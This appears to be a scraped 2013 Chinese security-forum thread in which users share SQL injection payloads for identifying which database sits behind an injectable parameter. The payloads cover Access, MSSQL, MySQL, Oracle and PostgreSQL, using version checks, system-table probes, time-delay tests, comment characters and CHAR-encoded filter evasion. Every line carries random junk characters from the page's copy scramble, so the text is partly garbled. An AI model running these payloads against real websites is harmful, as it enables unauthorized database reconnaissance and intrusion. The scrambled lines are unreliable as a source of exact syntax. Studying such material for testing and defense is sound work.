一个注射点如何最快速确认是什么类型数据库
. I/ i7 [8 | T! [1 N% \xsser (十根阳具有长短!!) | 2013-02-05 12:36' `8 }4 }. y i( @2 Y ^% w/ ~/ G2 m
假设这么一个注射点:
* M" }/ T- W4 c0 r" Pshow.html?id=23 q1 T( ]2 H- h; ~" R/ x
mysql:id=2 and version()>09 Y# h B4 [2 P% A
oracle:id=2 and '1'||'1'='11/ G! e5 z' U+ Z( ]0 A* G: m% E
其他的欢迎补充- G8 ^" m: }' e( l" s8 E( ~5 g
1#
$ O' m/ B3 k* I+ g/ j, v5 G) Cupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
" N- G5 @0 r' b9 \1 jAccess:
5 v+ Q$ y4 N! _$ @aNd aSc(cHr(97))=979 M- w/ a$ y6 r9 [; r& I0 z
and exists(select id from MSysAccessObjects)4 F2 j) Z) Z1 k$ _
SQL Server:
$ m1 N6 t1 ~# Eand exists(select id from sysobjects)5 T& |4 u# [0 z
and length(user)>0 ^7 s0 c( ]4 k% ?% W. K7 `% Y3 H
MySQL:: b2 f# @& p9 \- F R! ^6 ~- M
and length(user())>0
0 I0 p# r! I. ~0 p5 u" a3 M+ E2#1 q- ]2 w6 f& f U* `( ~
xsser (十根阳具有长短!!) | 2013-02-05 12:48
" K3 |8 a4 Z9 v8 \8 O: e+ h- i@upload 如果这些都不是呢…+ H8 m; Z6 r4 Q) h, j
3#) G ?/ h1 q- i3 g8 @
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
, Z4 q5 z9 C& F. g/ B5 S4 T@xsser 不快速的,延时注入
/ t- j' d, e: M5 E9 _. t不知道这样写对不对
0 G' d1 p1 X3 z8 qmssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'" ?; Z/ c; }& F' Y
mysql:id=2 and select benchmark(1e8,current_date());2 i6 u$ Y: {) Y- B
4#
( ] j9 ]8 g. s: j- pupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
0 L1 ]! U# H/ l) l最快的貌似是看报错信息
" q& M E* m( @oracle error, o- g Q/ E" O# C+ D0 C
mssql error* O3 H& g/ A$ C
mysql error
9 p, V* g5 {7 \; \5#
' p+ Z9 z+ C" v) mNimda (你们都是坏银~) | 2013-02-05 13:142 b" r3 M" A% X8 L. m5 Y4 K
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual): l4 p3 D+ F5 x3 x8 @" z
6#3 b5 F" w$ A, \4 {7 C/ C
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:211 @ n8 d# ^0 b8 N! R; R7 F( P" x+ i
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:/ I3 j) ~2 y V) K$ {
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:7 d9 X9 l* H r) M' f) n2 \9 Z
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
! \7 Q% S4 o) u' f' G% S7 c6 I1 |7#
& t: R& {/ M. D% |- g# q' S, j_Evil (HackEnd) | 2013-02-05 13:332 e4 `' T/ c( u1 p% ~. l5 c. G: ~
PostgreSQL2 Q# z* U% A3 X/ U; H
8#
; X9 |" w, Q+ O6 p! V9 I) d/ \, O' rupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42% _/ I5 j9 |' x6 V$ i9 ^, Z8 [
切换编码 and 1=1
# d5 B, t) v, p0 b" i3 Aoracle:0 F5 @# w- Q4 Y! p$ R! R3 o7 [$ s
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
1 H) X2 W8 y' ^- jmssql:! i% D) Y8 b; n( ~3 H; T. i. a+ n
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)% G n7 H; W$ N6 e2 Q- ?" q
mysql:
* O7 q J1 H( O/ [0 DCHAR(97, 110, 100, 32, 49, 61, 49)
, n# R% ?) t- T1 w5 I3 z+ U6 \9#4 ~' w" e, B/ `. e1 Y
xsser (十根阳具有长短!!) | 2013-02-05 14:31) o1 o/ k9 J5 K/ d2 N
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
) o4 }. O( G& k& H* n10#/ d# X5 Z$ q- ? ^0 j' s V: J, H
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
S- Q4 N* P. L7 V& z@xsser 是奇葩数据库类型的么?
$ m. [: T! e" f! m2 r# \! D根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:2 N- ]0 y+ A8 J7 N
1.是否可以使用特定的函数来判断,该数据库特有的" |4 M: ~( E- l' L0 w/ ]
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
0 x, ?) R3 i; [8 c$ y3.是否可以编码查询
0 t; r6 h& [5 c. {0 w4.是否显可以利用错信息8 I% C/ Q* |2 |3 ] E4 B" ^
5.是否存在数据库某些特性辅助判断! v2 R: ^" X, H7 w1 |
个人见解) B5 R% l: D( p0 h/ R
11#
- d2 ]+ w5 e2 Z- `小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
5 K3 m h3 V' x4 p/ o已收藏,mssql可以直接看到错误提示的吧~3 B9 Z. s) T! w- y0 N
12#8 t( I. E* {8 c2 a
Passer_by | 2013-02-05 15:09# I, Z, k% }' b6 }3 `
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
9 A: _) f! B Q z* z" d) f- xfrom:http://zone.wooyun.org/content/260 |